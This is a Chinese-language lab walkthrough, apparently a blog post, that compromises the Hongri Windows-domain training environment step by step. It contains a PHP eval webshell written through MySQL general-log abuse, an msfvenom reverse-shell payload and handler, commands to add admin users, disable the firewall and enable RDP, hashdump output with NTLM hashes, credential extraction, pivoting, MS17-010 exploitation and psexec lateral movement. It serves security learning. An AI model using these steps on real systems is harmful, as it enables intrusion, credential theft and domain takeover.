前言
之前打了一个linux域的靶机,在巨魔的wp站里看见了红日靶场系列,学习一下win域
红日靶场1-win域
环境搭建
下载完之后,解压,并在vmware中扫描虚拟机
根据这个网络拓扑图,win7机器有两个网卡,是通外网的,win2003和win2008是在内网环境中
先给win7添加一下网卡,这里我习惯使用桥接,所以另一个网卡是桥接模式
然后再为另外两台机器设置only-host模式,并在网络编辑器中将这个模式的网段修改为192.168.53.0/24
最后进入win7机器,进去之后要改默认密码(hongrisec@2019),改成了l1uyun@2024,启动web服务器.
外网渗透
端口扫描
win7机器是桥接在192.168.71.0/24这个子网的
arp-scan扫描局域网内主机
[~/workspace]$ sudo arp-scan -I eth5 -l
Interface: eth5, type: EN10MB, MAC: f6:39:4a:3d:95:18, IPv4: 192.168.71.99
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.71.79 00:0c:29:a7:c1:b2 VMware, Inc.
192.168.71.244 ca:a7:78:4d:50:e1 (Unknown: locally administered)
2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.108 seconds (121.44 hosts/sec). 2 responded
使用nmap来扫描一下这个主机
➜ workspace sudo nmap -sS -Pn 192.168.71.79 -p- --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 16:26 CST
Nmap scan report for 192.168.247.79
Host is up (0.00054s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3306/tcp open mysql
MAC Address: 00:0C:29:A7:C1:B2 (VMware)
➜ workspace sudo nmap -sT -Pn 192.168.71.79 -p80,3306 -A --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 16:29 CST
Nmap scan report for 192.168.247.79
Host is up (0.00049s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:A7:C1:B2 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: phone|specialized|general purpose
Running (JUST GUESSING): Microsoft Windows Phone|7|8.1|2008|Vista (96%)
OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_8
Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (96%), Microsoft Windows Embedded Standard 7 (96%), Microsoft Windows 8.1 R1 (94%), Microsoft Windows Server 2008 or 2008 Beta 3 (92%), Microsoft Windows Server 2008 R2 or Windows 8.1 (92%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (92%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (92%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows Server 2008 SP1 (89%), Microsoft Windows 7 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
再对mysql扫一下
➜ workspace sudo nmap -sS -Pn 192.168.71.79 -p3306 --script="*sql*" --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 16:31 CST
Nmap scan report for 192.168.247.79
Host is up (0.00034s latency).
PORT STATE SERVICE
3306/tcp open mysql
|_mysql-empty-password: Host '192.168.247.149' is not allowed to connect to this MySQL server
| mysql-enum:
| Accounts: No valid accounts found
|_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
| mysql-brute:
| Accounts: No valid accounts found
|_ Statistics: Performed 50009 guesses in 24 seconds, average tps: 2012.9
MAC Address: 00:0C:29:A7:C1:B2 (VMware)
phpmyadmin弱口令+日志写入Getshell
进去之后是phpstudy页面,数据库这里使用root,root测试成功
尝试在外面连接,连不上去
➜ workspace mysql -h 192.168.71.79 -u root -p
Enter password:
扫目录发现存在phpmyadmin,phpstudy这玩意集成了phpmyadmin
这里的secure_file_priv=NULL,不允许导入导出,所以不能直接写入shell
再尝试一下通过日志Getshell的方法
SHOW VARIABLES LIKE ‘%general_log%’
启用日志功能,然后修改日志文件路径,这里的绝对路径是在php探针里面泄露的
set global general_log = on;
set global general_log_file='C:/phpStudy/WWW/shell.php';
select "<?php @eval($_POST['123']);?>"
使用蚁剑连接,拿到shell
yxcms后台修改模板Getshell
以学习为主,phpmyadmin拿到shell之后,再看看有没有其他的拿shell的方法吧
查看路径,发现有个yxcms,进去看看
这都不用搜索了,前台模板这个位置大概率能执行php代码
找到这个layout.php,这个文件是每个页面都需要包含的,所以在这里写入webshell
可以连接
这个cms里面也有sql执行,就不看了
内网渗透
信息收集
域渗透信息收集checklist
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
权限是administrator
发现有内网网段
查看域用户
查看域管理员信息
整理一下收集到的win域信息
该域名为god.org,域控为OWA,域管理员为Administrator,内网网段为192.168.52.1/24,我们用ping命令探测域控的ip
域控的ip为192.168.52.138
尝试rdp
接下来在win7机器上增加用户,看能不能rdp上去
net user l1uyun aBc12@liuyun
net localgroup administrators l1uyun /add
查看3389端口是否开启,没有启动的话就手动启动一下
关闭防火墙
netsh advfirewall set allprofiles state off
查看是否开启
netstat -ano | find "3389"
没有开启的话手动开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
成功rdp上去了
msf上线
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.71.101 LPORT=10010 -f exe -o shell.exe
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.71.101
set lport 10010
exploit
这里最开始wsl是镜像网络, 后面改成桥接之后才成功反弹回去
getsystem提权
提权,使用meterpreter里面的getsystem一键提权
迁移进程
使用ps查看进程信息,msf的进程pid为5060,apache的为2860,进行进程迁移
迁移,然后清除痕迹
收集凭据
获取hash
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
l1uyun:1009:aad3b435b51404eeaad3b435b51404ee:e632033e620c600f68dc60c32b103d8c:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
这里需要进一步使用Mimikatz来提取凭证、密码和其他敏感信息。
在msf中是使用kiwi来进行平替
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。 所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制
因为还需要system的权限,所以只能迁移到system用户的进程中
获取到明文凭证
搭建socks隧道
第一次使用msf来搭socks,之前都是在用frp
run post/multi/manage/autoroute #加载MSF的autoroute模块,获取当前机器的所有网段信息
这里为啥要使用autoroute这个模块呢
使用auxiliary/server/socks_proxy模块来实现socks
先background把现在的meterpreter会话挂起,然后加载这个模块
查看jobs可以看到后台运行的socks进程
主机探测
使用arp-scanner模块进行内网的扫描
use post/windows/gather/arp_scanner
set RHOSTS 192.168.52.0/24
sessions # 查看session列表
set session 1
run
msf6 post(windows/gather/arp_scanner) > run
[*] Running module against STU1
[*] ARP Scanning 192.168.52.0/24
[+] IP: 192.168.52.1 MAC 00:50:56:c0:00:01 (VMware, Inc.)
[+] IP: 192.168.52.138 MAC 00:0c:29:3f:5d:a9 (VMware, Inc.)
[+] IP: 192.168.52.143 MAC 00:0c:29:a7:c1:a8 (VMware, Inc.)
[+] IP: 192.168.52.141 MAC 00:0c:29:6d:39:34 (VMware, Inc.)
[+] IP: 192.168.52.255 MAC 00:0c:29:a7:c1:a8 (VMware, Inc.)
[+] IP: 192.168.52.254 MAC 00:50:56:eb:1e:41 (VMware, Inc.)
[*] Post module execution completed
当前机器的ip是192.168.52.143,域控的是192.168.52.138 所以说目前内网里面有三台机器138,141,143
还可以使用ping来做主机探测
C:\Windows\system32>for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
���� 192.168.52.138 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 192.168.52.141 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 192.168.52.143 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
端口扫描
扫一下域控的端口
msf6 post(windows/gather/arp_scanner) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check p
er host
DELAY 0 yes The delay between connections, per thread
, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by
which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), see https://docs.meta
sploit.com/docs/using-metasploit/basics/u
sing-metasploit.html
THREADS 1 yes The number of concurrent threads (max one
per host)
TIMEOUT 1000 yes The socket connect timeout in millisecond
s
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.52.138: - 192.168.52.138:53 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:80 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:88 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:139 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:135 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:389 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:445 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:464 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:593 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:636 - TCP OPEN
445端口是开放的,扫一下永恒之蓝
ms17_010永恒之蓝
这里可以确定域控机器上是有永恒之蓝的
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.52.138:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.52.138:445 - Scanned 1 of 1 hosts
但是尝试了msf的exploit/windows/smb/ms17_010_eternalblue和 exploit/windows/smb/ms17_010_psexec都失败了
最后这个执行命令的可以用
那就添加一个用户,然后rdp上去算了 先添加一个用户
查看添加的用户,添加成功
给管理员权限
set COMMAND net localgroup administrators hack /add
set COMMAND net localgroup administrators
3389是关闭的,尝试开启3389
这边是显示已经开启了的,但是还是连不上去
原来是防火墙没关
set COMMAND 'netsh advfirewall set allprofiles state off'
这里为啥凭据会是错误的….我在虚拟机界面是可以使用这个凭据登进去的…
cs上线
看了不少wp都是用cs拿的域控 另一边连接cs_server 启动监听器 生成payload 然后在蚁剑上上传进去,并执行,这边很快的显示弹回来了 之后再beacon进行交互
sleep 0 # 进入交互模式
getsystem # 提权
net view # 查看当前网络中的其他机器
查看完之后再target视图中可以看到其他机器了,如果没有的话就扫描一下 然后右键,选择psexec64 新建一个用于psexec的监听器,然后 运行之后就能拿到shell了,换成cs之后,很容易的就拿到了域控的shell
最后以同样的方法,使用psexec32上线win2003机器
l1uyun
第一次打win域的机器,过段时间再打一下这台机器,这次是在学习打win域的流程了
这机器拖了好久才弄完…